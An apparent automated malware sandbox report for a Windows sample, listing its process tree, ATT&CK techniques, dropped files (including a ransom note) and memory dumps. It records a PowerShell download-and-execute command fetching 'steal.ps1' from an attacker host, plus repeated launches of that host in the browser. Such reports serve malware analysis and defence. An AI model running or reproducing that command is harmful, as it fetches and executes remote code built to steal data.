C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5332,i,17800964241625377556,677332759261032780,2097152 --field-trial-handle=2868,i,14519952653384819255,16421803574991297,262144 --variations-seed-version --mojo-platform-channel-handle=5452 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=4664,i,1748769020800894684,5136330466284100933,2097152 --field-trial-handle=2868,i,14519952653384819255,16421803574991297,262144 --variations-seed-version --mojo-platform-channel-handle=4216 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=uk --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6248,i,17606494118327718274,13739010657766753330,524288 --field-trial-handle=2868,i,14519952653384819255,16421803574991297,262144 --variations-seed-version --mojo-platform-channel-handle=6252 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=uk --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6408,i,750768769285880869,10138466650858997652,524288 --field-trial-handle=2868,i,14519952653384819255,16421803574991297,262144 --variations-seed-version --mojo-platform-channel-handle=6412 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=uk --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6248,i,15642586536761822688,15972894875686911372,524288 --field-trial-handle=2868,i,14519952653384819255,16421803574991297,262144 --variations-seed-version --mojo-platform-channel-handle=6392 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=uk --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6408,i,7301821061209975967,4036037901810537983,524288 --field-trial-handle=2868,i,14519952653384819255,16421803574991297,262144 --variations-seed-version --mojo-platform-channel-handle=6264 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=uk --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2868,i,14519952653384819255,16421803574991297,262144 --variations-seed-version --mojo-platform-channel-handle=6248 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=uk --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2868,i,14519952653384819255,16421803574991297,262144 --variations-seed-version --mojo-platform-channel-handle=6356 /prefetch:85⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start https://evil.xyz2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start https://evil.xyz2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start https://evil.xyz2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start https://evil.xyz2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start https://evil.xyz2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start https://evil.xyz2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start https://evil.xyz2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start https://evil.xyz2⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 7140 -ip 71401⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3720 -ip 37201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 5304 -ip 53041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 6440 -ip 64401⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2420 -ip 24201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 700 -p 2860 -ip 28601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 5324 -ip 53241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 760 -p 8208 -ip 82081⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 8240 -ip 82401⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 772 -p 6544 -ip 65441⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 776 -p 8216 -ip 82161⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 8988 -ip 89881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 724 -p 1596 -ip 15961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 8520 -ip 85201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 8552 -ip 85521⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 2928 -ip 29281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 772 -p 8560 -ip 85601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 4824 -ip 48241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 756 -p 9020 -ip 90201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 772 -p 2824 -ip 28241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 688 -p 8352 -ip 83521⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 760 -p 6124 -ip 61241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 784 -p 8304 -ip 83041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 856 -p 6648 -ip 66481⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 232 -p 804 -ip 8041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 7636 -ip 76361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 10056 -ip 100561⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 9932 -ip 99321⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 232 -p 9804 -ip 98041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 756 -p 9912 -ip 99121⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 792 -p 1104 -ip 11041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 856 -p 8888 -ip 88881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 6952 -ip 69521⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 9896 -ip 98961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 880 -p 8532 -ip 85321⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 936 -p 5388 -ip 53881⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 9016 -ip 90161⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 7096 -ip 70961⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Account Manipulation
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Netsh Helper DLL
1Pre-OS Boot
1Bootkit
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Account Manipulation
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
2Disable or Modify System Firewall
1Disable or Modify Tools
1Pre-OS Boot
1Bootkit
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
settings.dat
settings.dat
settings.dat
Network Persistent State
SCT Auditing Pending Reports
Sdch Dictionaries
Preferences
Secure Preferences
Local State
Local State
ModuleAnalysisCache
ModuleAnalysisCache
ModuleAnalysisCache
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_fy5mnyro.1ad.ps1
HOW_TO_DECRYPT.txt
ReAgent.log
ReAgent.log
ReAgent.log
ReAgent.log
ReAgent.log
ReAgent.log
ReAgent.log
ReAgent.log
diagerr.xml
diagerr.xml
diagerr.xml
diagerr.xml
diagerr.xml
diagerr.xml
diagerr.xml
diagerr.xml
diagerr.xml
diagwrn.xml
diagwrn.xml
diagwrn.xml
diagwrn.xml
diagwrn.xml
diagwrn.xml
diagwrn.xml
diagwrn.xml
setuperr.log
setuperr.log
setuperr.log
setuperr.log
setuperr.log
setuperr.log
setuperr.log
ReAgent.xml
memory/1204-286-0x0000000006780000-0x0000000006791000-memory.dmp
memory/1204-278-0x0000000073EA0000-0x0000000073EEC000-memory.dmp
memory/1204-310-0x0000000007630000-0x0000000007638000-memory.dmp
memory/1204-309-0x00000000075E0000-0x00000000075FA000-memory.dmp
memory/1204-307-0x00000000075A0000-0x00000000075B4000-memory.dmp
memory/1204-306-0x00000000067B0000-0x00000000067BE000-memory.dmp
memory/1212-454-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/1248-432-0x0000000075770000-0x00000000758F8000-memory.dmp
memory/1688-417-0x0000000075770000-0x00000000758F8000-memory.dmp
memory/1716-460-0x00000000765D0000-0x00000000766A3000-memory.dmp
memory/1748-466-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/2320-414-0x0000000075770000-0x00000000758F8000-memory.dmp
memory/2476-431-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/2684-33-0x0000000070D80000-0x0000000070DCC000-memory.dmp
memory/2684-44-0x0000000007760000-0x00000000077F6000-memory.dmp
memory/2928-425-0x0000000075770000-0x00000000758F8000-memory.dmp
memory/2964-451-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/3164-478-0x00007FF987850000-0x00007FF987A48000-memory.dmp
memory/3848-423-0x00007FF987850000-0x00007FF987A48000-memory.dmp
memory/3892-499-0x0000000075770000-0x00000000758F8000-memory.dmp
memory/4164-453-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/4836-419-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/5128-449-0x00007FF987850000-0x00007FF987A48000-memory.dmp
memory/5360-461-0x00007FF986EB0000-0x00007FF986F09000-memory.dmp
memory/5376-467-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/5536-458-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/5556-81-0x00000000084A0000-0x00000000084EC000-memory.dmp
memory/5556-65-0x0000000006250000-0x00000000065A7000-memory.dmp
memory/5660-430-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/5976-1-0x00000000052A0000-0x000000000596A000-memory.dmp
memory/5976-4-0x0000000005B10000-0x0000000005B76000-memory.dmp
memory/5976-41-0x0000000007B10000-0x000000000818A000-memory.dmp
memory/5976-13-0x0000000006150000-0x000000000616E000-memory.dmp
memory/5976-2-0x0000000005100000-0x0000000005122000-memory.dmp
memory/5976-14-0x00000000061A0000-0x00000000061EC000-memory.dmp
memory/5976-43-0x0000000007520000-0x000000000752A000-memory.dmp
memory/5976-12-0x0000000005B80000-0x0000000005ED7000-memory.dmp
memory/5976-22-0x0000000007160000-0x0000000007192000-memory.dmp
memory/5976-31-0x0000000006760000-0x000000000677E000-memory.dmp
memory/5976-42-0x00000000074C0000-0x00000000074DA000-memory.dmp
memory/5976-32-0x00000000073A0000-0x0000000007443000-memory.dmp
memory/5976-3-0x0000000005AA0000-0x0000000005B06000-memory.dmp
memory/5976-0-0x0000000002780000-0x00000000027B6000-memory.dmp
memory/5976-23-0x0000000070D80000-0x0000000070DCC000-memory.dmp
memory/6028-441-0x0000000075770000-0x00000000758F8000-memory.dmp
memory/6180-497-0x0000000075770000-0x00000000758F8000-memory.dmp
memory/6424-447-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/6448-475-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/6484-471-0x00007FF987850000-0x00007FF987A48000-memory.dmp
memory/6648-434-0x00007FF987850000-0x00007FF987A48000-memory.dmp
memory/6964-493-0x0000000000BB0000-0x0000000000BEC000-memory.dmp
memory/7016-448-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/7056-297-0x0000000007970000-0x0000000007A13000-memory.dmp
memory/7056-289-0x0000000073EA0000-0x0000000073EEC000-memory.dmp
memory/7172-298-0x0000000073EA0000-0x0000000073EEC000-memory.dmp
memory/7212-459-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/7284-416-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/7288-477-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/7368-426-0x0000000000BB0000-0x0000000000BEC000-memory.dmp
memory/7484-420-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/7644-463-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/7784-440-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/7844-496-0x0000000077730000-0x0000000077749000-memory.dmp
memory/7984-479-0x0000000075770000-0x00000000758F8000-memory.dmp
memory/8088-465-0x0000000075770000-0x00000000758F8000-memory.dmp
memory/8172-429-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/8244-452-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/8288-482-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/8532-438-0x0000000076970000-0x0000000076A2F000-memory.dmp
memory/8560-428-0x0000000077650000-0x00000000776E6000-memory.dmp
memory/8868-485-0x00007FF987850000-0x00007FF987A48000-memory.dmp
memory/8996-494-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/9096-503-0x0000000077BF0000-0x0000000077E2A000-memory.dmp
memory/9124-444-0x00007FF987850000-0x00007FF987A48000-memory.dmp
memory/9256-437-0x00007FF987030000-0x00007FF9870B3000-memory.dmp
memory/9332-473-0x0000000076970000-0x0000000076A2F000-memory.dmp
memory/9332-462-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/9332-474-0x0000000075770000-0x00000000758F8000-memory.dmp
memory/9512-476-0x00007FF987850000-0x00007FF987A48000-memory.dmp
memory/9516-445-0x00000000766B0000-0x000000007684D000-memory.dmp
memory/9620-427-0x0000000000BB0000-0x0000000000BEC000-memory.dmp
memory/9668-457-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/9780-481-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/9880-470-0x0000000075770000-0x00000000758F8000-memory.dmp
memory/9908-491-0x0000000075A70000-0x0000000075C19000-memory.dmp
memory/9932-433-0x0000000075770000-0x00000000758F8000-memory.dmp
memory/10164-495-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/10232-502-0x00007FF986EB0000-0x00007FF986F09000-memory.dmp
memory/10232-501-0x00007FF987850000-0x00007FF987A48000-memory.dmp
memory/10412-469-0x00007FF987850000-0x00007FF987A48000-memory.dmp
memory/10476-500-0x0000000000250000-0x00000000002AA000-memory.dmp
memory/10868-468-0x0000000000BB0000-0x0000000000BEC000-memory.dmp